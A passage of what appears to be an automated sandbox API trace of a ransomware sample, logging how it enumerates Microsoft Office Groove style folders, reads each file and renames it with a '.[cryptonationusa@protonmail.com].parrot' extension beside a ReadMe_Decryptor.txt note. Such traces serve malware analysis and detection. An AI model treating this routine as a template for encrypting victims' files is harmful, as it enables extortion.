0 [0190.385] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.386] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0190.386] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0190.386] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0190.386] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.386] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.388] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.388] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a1, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x3a1, lpOverlapped=0x0) returned 1 [0190.388] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.388] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\adobe.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\adobe.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.394] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.395] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0190.395] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.395] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0190.395] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0190.395] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0190.395] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.396] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.396] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.397] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0190.397] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.397] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.406] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.406] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.406] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.407] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0190.407] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.412] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.412] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfd8663e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfd8663e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.412] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd840280, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xfd840280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfd8663e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0190.412] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.412] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.414] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.414] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa32, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xa32, lpOverlapped=0x0) returned 1 [0190.414] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.415] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.419] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.419] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0190.419] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.419] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0190.419] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0190.419] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0190.420] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.420] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.421] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.421] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xb9, lpOverlapped=0x0) returned 1 [0190.421] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\BUTTON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\button.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.426] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.426] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.427] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.427] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xff, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xff, lpOverlapped=0x0) returned 1 [0190.427] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.432] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.432] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.433] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.433] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0190.433] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.438] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.438] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.439] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.439] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0190.439] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.440] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.444] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.444] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfd8b26a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfd8b26a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.444] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd8663e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BUTTON~1.PAR")) returned 1 [0190.445] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.445] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.446] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.446] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc4f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xc4f, lpOverlapped=0x0) returned 1 [0190.447] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.452] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.452] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0190.452] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.453] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0190.453] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0190.453] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0190.453] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.453] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.454] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.454] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0190.454] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.459] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.459] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.460] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.460] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0190.461] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.461] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 